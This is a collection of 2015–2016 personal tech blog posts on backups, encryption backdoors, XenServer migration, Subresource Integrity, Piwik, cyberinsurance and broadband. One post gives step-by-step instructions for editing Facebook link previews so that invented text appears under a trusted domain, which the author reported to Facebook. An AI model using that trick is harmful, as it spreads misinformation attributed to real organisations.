<p>Biometrics is often portrayed in the movies as a single form of authentication. The character scans his finger and the door opens. However in reality, it is often used as a second factor, ala it replaces the password. So, a user has to either key in his username or insert/tap his smartcard and then scan his finger. This allows the system to narrow down and compare the fingerprint to only 1 template instead of trying to match it to every template. This is crucial in biometric systems with many users because chances are that 2 users may have extremely similar fingerprints and the system might match it to the wrong user. It also increases security since a criminal cannot simply walk in and try his luck by scanning his fingerprint and see if it matches any user that is in the system.</p>
<p>Even though I have used fingerprints as an example of biometrics, the same applies to iris scans, facial recognitions and so on. These systems provide an illusion of higher security but in reality, they are more for convenience than security.</p>RAID is not backup2016-01-17T19:40:00+08:002016-01-17T19:40:00+08:00Benjamin Limtag:limbenjamin.com,2016-01-17:/articles/raid-is-not-backup.html<p>A number of friends have recently sought my advice on NAS and RAID solutions for storing their personal data. I do not usually give brand recommendations but I will discuss the technology involved. I have never used RAID nor found a need for it, this is because RAID (Redundant Array …</p><p>A number of friends have recently sought my advice on NAS and RAID solutions for storing their personal data. I do not usually give brand recommendations but I will discuss the technology involved. I have never used RAID nor found a need for it, this is because RAID (Redundant Array of Independent Disks) is meant for redundancy and not backup. For backup, I use a combination of a spare HDD as well as cloud services like Dropbox and github for code. </p>
<h1>Situations where RAID will not save you</h1>
<ol>
<li>You accidentally delete a file. Without a second copy on a HDD, you are shit out of luck.</li>
<li>Your computer gets infected by malware which deletes or encrypts your files. <a href="http://www.techrepublic.com/article/cryptowall-what-it-is-and-how-to-protect-your-systems/">Ransomware</a> is trending now.</li>
<li>You accidentally spill water on your computer. With a proper backup, your spare HDD is lying safely in a drawer somewhere else. </li>
<li>Natural disasters - fire, flooding. Cloud backup will save you since the data is not stored in your house, or stash your spare HDD with a friend, relative or neighbour.</li>
</ol>
<h1>Situations where RAID is useful</h1>
<ol>
<li>Mission critical situations. If a HDD fails, the system still runs fine, albeit with slightly degraded performance until you replace the HDD and the array is rebuilt. You won't have customers calling in to complain why they are unable to access the system the entire morning because you are busily reinstalling the OS and copying files from a backup.</li>
<li>Performance. With RAID 5/6, you get read and write speeds which are slightly faster than a non RAID setup. With RAID 0, you get insane speeds, but RAID 0 is basically striping with no parity bits so if 1 HDD dies, you lose everything.</li>
<li>You own a shit ton of data. Like 6TB worth of data and every single byte is important to you. You cannot afford 6 x 2TB HDD to backup all 6TB worth of data. So you buy 4 x 2TB HDD and configure it in RAID5, praying that only 1 HDD fails at any one time.</li>
</ol>
<h1>Backup Methods</h1>
<ol>
<li>File Backup. Connect a spare HDD and copy the files over. Enough said.</li>
<li>System Image. You are cloning the entire HDD including all system files and partitions. In case your OS cannot boot, file backups will not be able to save you, you have to reinstall the OS and all your programs before you can copy the files over. With a system image, you just need to reclone it onto the HDD and it will work.</li>
</ol>
<h1>My Method</h1>
<p>I have a 80GB partition for my OS and the rest of the space on my SSD is a 2nd partition for games. Yeah, games are huge. I make a system image of the OS partition monthly. My working files, which are being updated regularly, is stored in the Dropbox folder and code is pushed to Github in a private repository. In the event that my SSD crashes, I will restore the system image, wait for Dropbox to sync, pull from my Github repository and re-download the game files. By doing so, the only data I would have lost would be the new programs I have installed within the last month. This is an acceptable trade off for me considering that it requires only 80GB on the spare HDD and takes less than an hour a month to clone the system image.</p>The Golden Key - TSA Locks and Encryption2015-12-20T22:14:00+08:002015-12-20T22:14:00+08:00Benjamin Limtag:limbenjamin.com,2015-12-20:/articles/the-golden-key-TSA-locks-and-encryption.html<p>Earlier this year, TSA master keys were <a href="http://darksim905.com/tsakeys/passkeys.pdf">leaked</a> and ordinary folks were supposedly able to 3D print these keys and open any luggage with a TSA lock. Despite the huge uproar, I personally feel that it is not that big of a deal because</p>
<ol>
<li>Valuables go in hand carry, clothes …</li></ol><p>Earlier this year, TSA master keys were <a href="http://darksim905.com/tsakeys/passkeys.pdf">leaked</a> and ordinary folks were supposedly able to 3D print these keys and open any luggage with a TSA lock. Despite the huge uproar, I personally feel that it is not that big of a deal because</p>
<ol>
<li>Valuables go in hand carry, clothes go in luggage. Few people would go through the trouble of stealing a luggage for clothes that may not even fit.</li>
<li>Luggages are seldom left unattended in public. Likely response when encountering unattended luggage is to call the authorities. No one would cart home a luggage that could possibly contain a bomb.</li>
</ol>
<p>Given that the US has <a href="http://chartsbin.com/view/1395">over 5000 major airports</a>, a leak was bound to happen. It is impossible to entrust the master key to thousands of staffs at so many locations and expect to maintain security. The US government is pushing for a similar Golden Key to be <a href="https://www.washingtonpost.com/opinions/compromise-needed-on-smartphone-encryption/2014/10/03/96680bf8-4a77-11e4-891d-713f052086a0_story.html">built into encryption products</a>. The key would have to be distributed to law enforcement authorities, e.g. sheriffs, police departments, FBI, CIA, NSA, of which I am quite there are more than 5000 offices in total. </p>
<p>This is a bad idea because the private key can be copied easily. Dump the memory while the program is running, identify the location where the key is stored and copy it out. Unlike the TSA key which has to be physically removed to be duplicated, the original private key remains so conducting an inventory check at the end of every working day would not help. The private key would allow law enforcement authorities access to information of great value, e.g. credit card numbers, internet banking passwords and personal information so there is greater incentive for both internal as well as external parties to get their hands on it.</p>
<p>The government's stance is that terrorists today <a href="http://www.nytimes.com/2015/12/01/world/europe/how-the-paris-attackers-honed-their-assault-through-trial-and-error.html?_r=0">use encryption to secure their communications</a>, and thus a master key would thwart these attacks and allow law enforcement to arrest the terrorists before the attacks takes place. However, in line with Kerckhoff's principle, almost all modern ciphers systems are public knowledge. Hence, it is possible for terrorist to simply write their own software which uses these already public algorithms and avoid using the backdoor-ed software. </p>
<p>Even if the backdoor-ed systems are used, catching these terrorists require a second big assumption, the ability to decrypt large volumes of encrypted communication using the master key and flagging out suspicious conversations. This task is difficult because a terror attack has a one in a few millions odds of happening. Filtering out all conversations with <code>bomb</code> will result in many false positives (gamers talking about bombing their opponents), while setting the filter too strict might result in that one single important conversation bypassing the filter as a false negative. Lastly, decrypting large volumes of communications is a computationally intensive process, it has to be done in reasonable time to prevent the attack. Decrypting it only after the attack doesn't help a bit. Given the many challenges, the Golden Key doesn't seem to be a wise choice.</p>Xenserver V2P Migration2015-12-09T14:16:00+08:002015-12-09T14:16:00+08:00Benjamin Limtag:limbenjamin.com,2015-12-09:/articles/xenserver-v2p-migration.html<p>I have using xenserver as my hypervisor for the past 6 months and have run a number of VMs on it. However, there were some deal breakers which led me to migrate back to running Ubuntu as the base OS and running the VMs in VirtualBox on top of Ubuntu …</p><p>I have using xenserver as my hypervisor for the past 6 months and have run a number of VMs on it. However, there were some deal breakers which led me to migrate back to running Ubuntu as the base OS and running the VMs in VirtualBox on top of Ubuntu. </p>
<ul>
<li>Lack of USB passthrough support - Can only passthrough MSC devices, therefore, no USB WiFi card for guest OSes.</li>
<li>Unnecessarily complicated - Lots of new xe commands to learn, concepts such as storage repositories, LVM file systems... Probably more suited for larger setups, e.g. multiple physical servers forming clusters, ability to combine multiple disks into a single large storage repository. Overkill for my single server with 1 SSD and 1 HDD. </li>
</ul>
<p>That said, I have to acknowledge that Xenserver for very quick to set up and was very stable, it did not crash even once and I had uptime of a few months.</p>
<h1>Migration Steps</h1>
<p>Since I couldn't find a guide on the net, I experimented with a number of techniques and finally succeeded.</p>
<ol>
<li>Copy out all the VHDs in <code>/var/run/sr-mount/</code>.</li>
<li>Backup all data in storage repositories.</li>
<li><code>qemu-img convert -f vpc /path/to/vhd/of/base/os.vhd -O raw /image.img</code></li>
<li><code>dd if=/image.img of=/dev/sda</code> where sda is SSD holding base OS.</li>
<li>Boot into Linux live CD and view the partitions. <code>sda2</code> should be a LVM partition containing multiple ext2/3/4 partitions.</li>
<li><code>dd if=/dev/mapper/ext234partition-vg-root of=/dev/sdb</code> where sdb is a scratch disk</li>
<li>Format <code>sda2</code> into an <code>ext2/3/4</code> partition as desired.</li>
<li><code>dd if=/dev/sdb of=/dev/sda2</code></li>
<li>Expand <code>sda2</code> if necessary. Create <code>linux-swap</code> if necessary.</li>
<li>Mount <code>sda1</code> and find all references to <code>vg-root</code> in <code>grub.cfg</code> and change it to <code>sda2</code></li>
</ol>
<p>Your new SSD should now be bootable and the root partition should now be ext2/3/4 format and not LVM. I have found LVM harder to work with and preferred ext4 for its simplicity, stopping at step 5 will produce a bootable LVM disk.</p>Verifying JS Integrity2015-11-02T23:30:00+08:002015-11-02T23:30:00+08:00Benjamin Limtag:limbenjamin.com,2015-11-02:/articles/verifying-js-integrity.html<p>Yesterday, <a href="http://blog.pagefair.com/2015/halloween-security-breach/">a CDN was hacked</a> and malicious JS was served to a number of domains. Most websites make use of CDNs to serve up JS so as to reduce page load time. How do we protect ourselves from such attacks?</p>
<p>I <a href="http://security.stackexchange.com/questions/74424/verify-cdn-javascripts-integrity">posed a similar question</a> on Sec.SE some time …</p><p>Yesterday, <a href="http://blog.pagefair.com/2015/halloween-security-breach/">a CDN was hacked</a> and malicious JS was served to a number of domains. Most websites make use of CDNs to serve up JS so as to reduce page load time. How do we protect ourselves from such attacks?</p>
<p>I <a href="http://security.stackexchange.com/questions/74424/verify-cdn-javascripts-integrity">posed a similar question</a> on Sec.SE some time back. Subresource Integrity is a new security feature that will save you. The code will not execute if there is a hash mismatch. Just don't use this on rolling releases that reuse the same URLs.</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span>
<span class="normal">2</span>
<span class="normal">3</span></pre></div></td><td class="code"><div><pre><span></span><code> <script src="https://example.com/example-framework.js"
integrity="sha384-Li9vy3DqF8tnTXuiaAJuML3ky+er10rcgNR/VqsVpcw+ThHmYcwiB1pbOxEbzJr7"
crossorigin="anonymous"></script>
</code></pre></div></td></tr></table></div>Adding hostnames or PTR records to piwik2015-10-28T11:13:00+08:002015-10-28T11:13:00+08:00Benjamin Limtag:limbenjamin.com,2015-10-28:/articles/adding-hostnames-to-piwik.html<p>If you are using piwik and desire to know exactly where your website visitors come from, this hack will allow you to display the hostname or PTR record beside the IP addresses on the piwik dashboard. The <a href="https://plugins.piwik.org/Ip2Hostname">Ip2Hostname</a> plugin logs down the visitor's hostname in an additional column but provides …</p><p>If you are using piwik and desire to know exactly where your website visitors come from, this hack will allow you to display the hostname or PTR record beside the IP addresses on the piwik dashboard. The <a href="https://plugins.piwik.org/Ip2Hostname">Ip2Hostname</a> plugin logs down the visitor's hostname in an additional column but provides no options to display it. This hack reqires the Ip2Hostname plugin to be activated. Do note that the changes may be overwritten when updating piwik.</p>
<p>Result:</p>
<p><img alt="Result" src="//limbenjamin.com/media/piwik.png"></p>
<p>Add the function to /plugins/CoreHome/Visitor.php</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span>
<span class="normal">2</span>
<span class="normal">3</span>
<span class="normal">4</span>
<span class="normal">5</span>
<span class="normal">6</span>
<span class="normal">7</span></pre></div></td><td class="code"><div><pre><span></span><code><span class="x">function getLocationHostname()</span>
<span class="x">{</span>
<span class="x"> if (isset($this->details['location_hostname'])){</span>
<span class="x"> return $this->details['location_hostname'];</span>
<span class="x"> }</span>
<span class="x"> return null;</span>
<span class="x">}</span>
</code></pre></div></td></tr></table></div>
<p>Add to /plugins/CoreHome/CoreHome.php</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span>
<span class="normal">2</span></pre></div></td><td class="code"><div><pre><span></span><code><span class="x">$visitor['visitDurationPretty'] = $instance->getVisitLengthPretty();</span>
<span class="x">$visitor['locationHostname'] = $instance->getLocationHostname(); #add this</span>
</code></pre></div></td></tr></table></div>
<p>Create a file /plugin/CoreHome/Columns/IpHostname.php with</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span>
<span class="normal"> 2</span>
<span class="normal"> 3</span>
<span class="normal"> 4</span>
<span class="normal"> 5</span>
<span class="normal"> 6</span>
<span class="normal"> 7</span>
<span class="normal"> 8</span>
<span class="normal"> 9</span>
<span class="normal">10</span>
<span class="normal">11</span>
<span class="normal">12</span>
<span class="normal">13</span>
<span class="normal">14</span>
<span class="normal">15</span>
<span class="normal">16</span>
<span class="normal">17</span>
<span class="normal">18</span>
<span class="normal">19</span></pre></div></td><td class="code"><div><pre><span></span><code><span class="cp"><?php</span>
<span class="k">namespace</span> <span class="nx">Piwik\Plugins\CoreHome\Columns</span><span class="p">;</span>
<span class="k">use</span> <span class="nx">Piwik\Config</span><span class="p">;</span>
<span class="k">use</span> <span class="nx">Piwik\Plugin\Dimension\VisitDimension</span><span class="p">;</span>
<span class="k">use</span> <span class="nx">Piwik\Plugins\CoreHome\Segment</span><span class="p">;</span>
<span class="k">use</span> <span class="nx">Piwik\Tracker\Action</span><span class="p">;</span>
<span class="k">use</span> <span class="nx">Piwik\Tracker\GoalManager</span><span class="p">;</span>
<span class="k">use</span> <span class="nx">Piwik\Tracker\Request</span><span class="p">;</span>
<span class="k">use</span> <span class="nx">Piwik\Tracker\Visitor</span><span class="p">;</span>
<span class="k">class</span> <span class="nc">IpHostname</span> <span class="k">extends</span> <span class="nx">VisitDimension</span>
<span class="p">{</span>
<span class="k">public</span> <span class="k">function</span> <span class="nf">getLocationHostname</span><span class="p">()</span>
<span class="p">{</span>
<span class="k">return</span> <span class="k">array</span><span class="p">(</span><span class="s1">'location_hostname'</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="cp">?></span>
</code></pre></div></td></tr></table></div>
<p>Add to /plugins/Live/templates/_dataTableViz_visitorLog.twig</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span>
<span class="normal">2</span>
<span class="normal">3</span>
<span class="normal">4</span></pre></div></td><td class="code"><div><pre><span></span><code>IP: <span class="cp">{{</span> <span class="nv">visitor.getColumn</span><span class="o">(</span><span class="s1">'visitIp'</span><span class="o">)</span> <span class="cp">}}</span>
<span class="cp">{%</span> <span class="k">if</span> <span class="nv">visitor.getColumn</span><span class="o">(</span><span class="s1">'locationHostname'</span><span class="o">)</span> <span class="k">is</span> <span class="k">not</span> <span class="nf">empty</span> <span class="cp">%}</span> #add this
(<span class="cp">{{</span> <span class="nv">visitor.getColumn</span><span class="o">(</span><span class="s1">'locationHostname'</span><span class="o">)</span> <span class="cp">}}</span>) #add this
<span class="cp">{%</span> <span class="k">endif</span> <span class="cp">%}</span> #add this
</code></pre></div></td></tr></table></div>
<p>Add to /plugins/Live/templates/getLastVisitStart.twig</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span>
<span class="normal">2</span>
<span class="normal">3</span></pre></div></td><td class="code"><div><pre><span></span><code>IP: <span class="cp">{{</span> <span class="nv">visitor.visitIp</span> <span class="cp">}}</span><span class="p"></</span><span class="nt">span</span><span class="p">></span>
<span class="cp">{%</span> <span class="k">endif</span> <span class="cp">%}</span>
<span class="cp">{%</span> <span class="k">if</span> <span class="nv">visitor.locationHostname</span> <span class="cp">%}</span> (<span class="cp">{{</span> <span class="nv">visitor.locationHostname</span> <span class="cp">}}</span>)<span class="cp">{%</span> <span class="k">endif</span> <span class="cp">%}</span> #add this
</code></pre></div></td></tr></table></div>Negative space2015-10-16T11:06:00+08:002015-10-16T11:06:00+08:00Benjamin Limtag:limbenjamin.com,2015-10-16:/articles/negative-space.html<p>Sometimes, the lack of information is valuable information.</p>
<blockquote>
<p>The Washington Post reports that according to unnamed current and former US officials, the CIA pulled "a number of officers" from the US Embassy in Beijing as a precautionary measure following the breach — precisely because their names would not appear in State …</p></blockquote><p>Sometimes, the lack of information is valuable information.</p>
<blockquote>
<p>The Washington Post reports that according to unnamed current and former US officials, the CIA pulled "a number of officers" from the US Embassy in Beijing as a precautionary measure following the breach — precisely because their names would not appear in State Department personnel files believed to have been obtained by Chinese intelligence operatives. - <a href="http://arstechnica.com/tech-policy/2015/09/cia-officers-pulled-from-china-because-of-opm-breach/">source</a></p>
</blockquote>First Cyberinsurance claim?2015-09-21T14:50:00+08:002015-09-21T14:50:00+08:00Benjamin Limtag:limbenjamin.com,2015-09-21:/articles/first-cyberinsurance-claim.html<p>I first came across the term cyberinsurance earlier this year while attending an information session in DC. At that point, it was suggested that there needs to be a benchmark that takes into account the cyber risks that companies are facing, for it to be feasible for insurance companies to …</p><p>I first came across the term cyberinsurance earlier this year while attending an information session in DC. At that point, it was suggested that there needs to be a benchmark that takes into account the cyber risks that companies are facing, for it to be feasible for insurance companies to offer cyberinsurance. Using a risk based approach to combating security threats allow companies to calculate the residual risk affecting their information systems and thus allows insurance companies to compute the premium a company has to pay. This makes perfect sense as a company that faces less cyber risk should be charged a lower premium compared to one facing higher cyber risks. This is similar to health insurance in that healthy individuals are charged less than those who have pre-existing medical conditions.</p>
<p>The rise of cyberinsurance is unavoidable. In risk management, we seek to avoid, then mitigate, then transfer and finally accept residual risks. Avoiding risks has been a core part of information security, putting systems behind firewalls, closing unused ports, principle of least privilege. Mitigating risks came next, with IPSes, disaster recovery/business continuity plans. The cloud in some way can be considered the transference of risks, outsourcing the security and maintenance of systems to cloud companies. With the increasing concern over sensitive data, companies are looking towards privatising their cloud services and hence this is where cyberinsurance comes in.</p>
<p>Some days back, an <a href="https://nakedsecurity.sophos.com/2015/09/18/bitpay-spearphished-and-loses-1-8-million-insurer-refuses-to-pay/?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+nakedsecurity+%28Naked+Security+-+Sophos%29">article mentioned</a> that BitPay was attempting to claim cyberinsurance over a targeted social engineering attack on its CEO. I do not know if this is indeed the first landmark cyberinsurance claim, but this is the first case I have heard of. This case involves the hacking of the CEO's personal computer through which the CEO's corporate email account was accessed. Given how widely received the Bring Your Own Device (BYOD) movement is, I wouldn't be surprised if a similar case is reported in the near future. </p>
<p>How then should we look at this case? If the cybercriminal had used the credentials to directly transfer the bitcoins, then there would be no dispute and the insurance company should be liable. However, the cybercriminal was probably unable to access the transfer system directly, possibly accessible only through intranet, and hence had to take his chances with a social engineering attack. Therefore, I would argue that it wasn't a technical vulnerability but a procedural flaw that led to the loss. Even without hacking the CEO's computer, he could have easily spoofed the sender's address to achieve a similar result. The entire hack could have happened offline (i.e. by planting a post-it note on the CFO's desk).Closing the feedback loop will have easily solved this problem. Hence, I am on the insurer's side for this particular case, it wasn't computer fraud, but lack of proper procedures especially with regard to high risk actions such as transferring money. </p>2Gbps fibre is a gimmick2015-09-05T19:01:00+08:002015-09-05T19:01:00+08:00Benjamin Limtag:limbenjamin.com,2015-09-05:/articles/2-gbps-fibre-is-a-gimmick.html<p><img alt="Fiber" src="//limbenjamin.com/media/fiber.jpg"></p>
<p>Singapore is the 2nd fastest country in the world in terms of <a href="http://www.zdnet.com/article/singapore-isp-unveils-2gbps-fiber-broadband-service/">fibre broadband speeds</a>. However in my opinion, beyond a certain sweet spot of around 300mbps, any additional bandwidth brings about negligible benefit. </p>
<p>1) The server is the bottleneck. Let me use an analogy, you can widen the road …</p><p><img alt="Fiber" src="//limbenjamin.com/media/fiber.jpg"></p>
<p>Singapore is the 2nd fastest country in the world in terms of <a href="http://www.zdnet.com/article/singapore-isp-unveils-2gbps-fiber-broadband-service/">fibre broadband speeds</a>. However in my opinion, beyond a certain sweet spot of around 300mbps, any additional bandwidth brings about negligible benefit. </p>
<p>1) The server is the bottleneck. Let me use an analogy, you can widen the road in front of your house to accommodate more vehicles so you can get onto the expressway faster, however, if the road between the exit of the expressway and your office is too narrow, it will still jam up and you will not get to your office any faster. Most servers are connected to the internet via a gigabit or a 10G connection. Assuming it is a 10G connection, 5 2Gbps subscribers will saturate the entire bandwidth. You can bet that more than 5 people will be accessing a popular download or website at any time, thus the speeds you get will usually be capped much lower. </p>
<p>2) Your Local Area Network (LAN) is unlikely to be able to support 2Gbps. Most ethernet cards today out there are gigabit cards which top out at 1Gbps. 802.11ac has a maximum speed of about 1.3Gbps under optimal conditions. Optimal meaning stars aligning and rainbows forming, from <a href="http://limbenjamin.com/articles/wireless-woes.html">my experience</a>, wired is still the most reliable alternative. Either way, you won't be able to make full use of the 2Gbps connection. 2Gbps is so ridiculously high that in some cases the bottleneck might even reside with your SSD/HDD write speeds. </p>
<p>3) The media we consume today does not require that much bandwidth. Assume you are downloading an 8.5GB DVD. Without any bottlenecks, a 2 Gbps connection will allow you to finish the download in 34 seconds. A 300Mbps connection will finish it in 226 seconds, a mere 192 seconds difference which is just enough for a toilet break and to grab a drink from the fridge. While watching the movie for the next 5400 seconds, the internet connection will be idle. If the media supports streaming, you won't even notice a difference. </p>
<p>ISPs can easily provide such connections on existing infrastructure because of the reasons above. A few households will subscribe to it but cannot achieve the speeds because their hardware does not support it. For those that can achieve such speeds, they are using the connection in such short bursts that the same connection can be shared with many other subscribers. E.g. It takes 34 seconds to download a DVD, chances are that not everyone is going to download it at the exact same time. As long as it is staggered, the infrastructure will be able to support it. </p>
<p>However, such fast connections can be very dangerous, especially since consumer grade routers have such poor security built in. Your "military grade" Asus router refers to performance and does not extend to security. A single 2 Gbps connection can DOS many existing sites out there. Put a few of these connections together and you can take down larger sites. The world's largest DDOS <a href="http://www.techworld.com/news/security/worlds-largest-ddos-attack-reached-400gbps-says-arbor-networks-3595715/">attack</a> reached 400 Gbps, which can be achieved by only 200 subscribers. Given the fact that ISPs use the same firmware for all customers, once a vulnerability is found, it is trivial to scan the ISP's entire IP range to gather a larger army to perform the attack. </p>
<p>The average consumer today has no use for this type of bandwidth. Enthusiasts can probably use it to perform full disk imaging or replication across the internet, transferring 500GB over such a connection would takes minutes instead of the entire night. Perhaps when 4K or 3D streaming starts becoming mainstream, we can reconsider. Until then, I see no point in having bandwidth of this magnitude. </p>
<p>Update: I have done a real world test trying to saturate 1gbps. Results <a href="https://limbenjamin.com/articles/saturating-1gbps-bandwidth.html">here</a>.</p>Rules of Engagement in Cyberspace2015-08-15T00:40:00+08:002015-08-15T00:40:00+08:00Benjamin Limtag:limbenjamin.com,2015-08-15:/articles/rules-of-engagement-in-cyberspace.html<p>Rules of engagement is a concept familiar to most military personnels worldwide. The basic premise of having rules of engagement is to ensure an appropriate level of response or reaction to a particular threat. It is sometimes also known as escalation of force. Rules of engagement for physical threats are …</p><p>Rules of engagement is a concept familiar to most military personnels worldwide. The basic premise of having rules of engagement is to ensure an appropriate level of response or reaction to a particular threat. It is sometimes also known as escalation of force. Rules of engagement for physical threats are usually quite straight forward, we often start with a verbal warning, followed by display of force such as drawing a weapon. If the target persists, we usually further indicate our intention by firing warning shots or tracking the target with a laser beam and as a last resort, we take down the target. However, these rules cannot be easily translated to cyberspace.</p>
<p>The nature of cyberspace is such that it is often impossible to discern the actual source of the attack. In physical warfare, muzzle flashes will give up the location of the attacker. However, in cyberspace, the IP address of the attacker may not necessarily be the IP where the attack is coming from. The attacker might use a compromised machine to launch his attack against an adversary. Often times, the actual user whose machine has been compromised might not even be aware that his machine is being used to launch a cyberattack. </p>
<p>However, a recent <a href="https://nakedsecurity.sophos.com/2015/08/05/counterterrorism-expert-wants-to-arm-us-companies-with-hack-back-capabilities/">article</a> claims that companies should be given the right to fight back against cyber criminals. It is critical to lay down the rules of engagement before we even consider giving companies that right. We need to properly define what constitutes a cyberattack. Is a port scan considered an attack. The physical manifestation of a port scan would probably be trying to open all the lockers at a public facility hoping that someone has forgotten to lock the locker after placing his belongings in it. Such an action while not illegal, is considered suspicious behavior and would attract the attention of passers-by. In the cyber realm however, there are no clear guidelines if such surveillance can be construed as malicious or simply an intent to commit further malicious actions. Are we then allowed to retaliate solely based on intent? </p>
<p>That aside, we would also have to consider the notion of determining an appropriate level of reaction. If a kid threw a pebble at your window, it would not be appropriate to pull out your shotgun and start firing at him. The kid's father might come back with a weapon and start an all out war. I am not involving law enforcement in this scenario because the internet is often described as the wild west where it is difficult or even downright impossible to track down and prosecute someone from a different country. A similar situation might occur in cyberspace where a competitor might be accused of launching a cyberattack against a particular company which develops into a full blown cyber war when both sides retaliate with force. </p>
<p>Lastly, it is important to ensure that the entire process is documented and all related evidence is preserved. The point of giving companies the power in the first place is because the current process is too slow and most of the damage is done by the time enforcement action is taken. Hence, companies who choose to invoke cyber justice should also be subjected to the same requirements that law enforcement is currently subjected to and they should also be held accountable for their actions should they misjudge the threat or fail to prove that their response is appropriate given the scale of the attack.</p>
<p>In summary, before we even begin to consider giving companies the right to fight back against cyber criminals, we must first define the scenarios where the company is allowed to invoke such powers. All evidence must also be documented so as to prevent false claims and companies should be held accountable for their actions. We could perhaps take a leaf from the current military doctrines on rules of engagement and adapt it for use in cyberspace.</p>Facebook Open Graph Tags Modification2015-07-30T16:22:00+08:002015-07-30T16:22:00+08:00Benjamin Limtag:limbenjamin.com,2015-07-30:/articles/facebook-og-tags-modification.html<p>A couple of weeks ago, I discovered that Facebook allowed you to change the title and description of links that you post. This allows you to craft some pretty interesting posts. For example:</p>
<div id="fb-root"></div>
<script>(function(d, s, id) { var js, fjs = d.getElementsByTagName(s)[0]; if (d.getElementById(id)) return; js …</script><p>A couple of weeks ago, I discovered that Facebook allowed you to change the title and description of links that you post. This allows you to craft some pretty interesting posts. For example:</p>
<div id="fb-root"></div>
<script>(function(d, s, id) { var js, fjs = d.getElementsByTagName(s)[0]; if (d.getElementById(id)) return; js = d.createElement(s); js.id = id; js.src = "//connect.facebook.net/en_GB/sdk.js#xfbml=1&version=v2.3"; fjs.parentNode.insertBefore(js, fjs);}(document, 'script', 'facebook-jssdk'));</script>
<iframe src="https://www.facebook.com/plugins/post.php?href=https%3A%2F%2Fwww.facebook.com%2Flimbenjamincom%2Fposts%2F2049155305308941&width=500" width="500" height="454" style="border:none;overflow:hidden" scrolling="no" frameborder="0" allowTransparency="true"></iframe>
<p>I was puzzled by Facebook's decision to implement this feature. The grey all-caps text at the bottom is the domain name where the alleged content is supposed to originate from. This field cannot be changed. Therefore, I would be more willing to click on a link if the domain is a well known one, e.g. FACEBOOK.COM, GOOGLE.COM or APPLE.COM and so on. </p>
<p>By allowing users to change the content of the post, they are essentially allowing users to "put words into the mouths" of these organizations. Once users click onto the link, they will realise that the information in the post is bogus, however there is the possibility that users may simple share the link without clicking into it, thus spreading misinformation. We have seen numerous similar cases where journalist have retweeted fake news story without verifying because they want to be the first to get the information out there. Some of these have even resulted in substantial real world impact such as a crash in the stock market.</p>
<p>The only legitimate use for such a feature is the ability to insert a more relevant paragraph of text from the article itself. However, in my opinion, the negative effects far outweigh the positive and such a feature should never have been implemented in the first place. Most major websites have been optimised and the open graph text and description should be fairly relevant to the page content. </p>
<h1>Instructions</h1>
<p><img alt="instructions" src="//limbenjamin.com/media/facebook_edit.png"></p>
<p>Contrary to most beliefs, this is a feature built into Facebook and not a vulnerability as some have thought. All you need to carry out this "attack" is Google Chrome and a Facebook account. Simply paste the link you would like to share into your "update status" box and wait for the preview to show up. Hover over the title or the description, it should turn yellow, left click to change the content. I have also found that if you perform this on a Facebook page, you also get to modify the image in addition to the title and description.</p>
<p>Disclaimer: I have contacted Facebook prior to this and they have classified it as a "social engineering or spam attack against Facebook users and infrastructure". As far as I know, there are no plans to remove this feature.</p>
<p>Edit on 05/12/16: Facebook has now disallowed modification of page content when posting to your personal wall. However, posting to a page will still work.</p>Google Calendar API v32015-07-12T16:37:00+08:002015-07-12T16:37:00+08:00Benjamin Limtag:limbenjamin.com,2015-07-12:/articles/google-cal-api-v3.html<p>In one of my previous <a href="http://limbenjamin.com/articles/rainmeter.html">posts</a>, I mentioned that I was using rainmeter to display useful information such as events in my google calendar on my desktop. </p>
<p>Google updated their calendar to API v3 sometime early this year and this broke the functionality. After waiting few months for a fix …</p><p>In one of my previous <a href="http://limbenjamin.com/articles/rainmeter.html">posts</a>, I mentioned that I was using rainmeter to display useful information such as events in my google calendar on my desktop. </p>
<p>Google updated their calendar to API v3 sometime early this year and this broke the functionality. After waiting few months for a fix, and another few attempting to fix it <a href="https://github.com/Kaelri/Enigma/issues/84">here</a>, I decided to write a simple version from scratch. I wrote a bash script to curl the ical file and performed a little sed/awk goodness. I then configured rainmeter to display the contents of the text file. For good measure, I setup cron to run the script every 30 minutes to update the calendar.</p>
<p>It may not look as pretty but at least it finally works.</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span>
<span class="normal"> 2</span>
<span class="normal"> 3</span>
<span class="normal"> 4</span>
<span class="normal"> 5</span>
<span class="normal"> 6</span>
<span class="normal"> 7</span>
<span class="normal"> 8</span>
<span class="normal"> 9</span>
<span class="normal">10</span>
<span class="normal">11</span>
<span class="normal">12</span>
<span class="normal">13</span>
<span class="normal">14</span>
<span class="normal">15</span>
<span class="normal">16</span>
<span class="normal">17</span>
<span class="normal">18</span></pre></div></td><td class="code"><div><pre><span></span><code>curl<span class="w"> </span>https://calendar.google.com/calendar/ical/<<INSERT<span class="w"> </span>YOUR<span class="w"> </span>URL<span class="w"> </span>HERE>>/basic.ics<span class="w"> </span>><span class="w"> </span>basic.ics
awk<span class="w"> </span><span class="s1">'/^SUMMARY.*$/'</span><span class="w"> </span>basic.ics<span class="w"> </span>><span class="w"> </span>basic2.ics<span class="w"> </span><span class="c1">#retain summary text and start event start date</span>
sed<span class="w"> </span>-i<span class="w"> </span><span class="s1">'s/^........//'</span><span class="w"> </span>basic2.ics<span class="w"> </span><span class="c1">#remove SUMMARY: </span>
awk<span class="w"> </span><span class="s1">'/^DTSTART.*$/'</span><span class="w"> </span>basic.ics<span class="w"> </span>><span class="w"> </span>basic3.ics
sed<span class="w"> </span>-i<span class="w"> </span><span class="s1">'s/........$//'</span><span class="w"> </span>basic3.ics
paste<span class="w"> </span>basic3.ics<span class="w"> </span>basic2.ics<span class="w"> </span>><span class="w"> </span>basic.ics
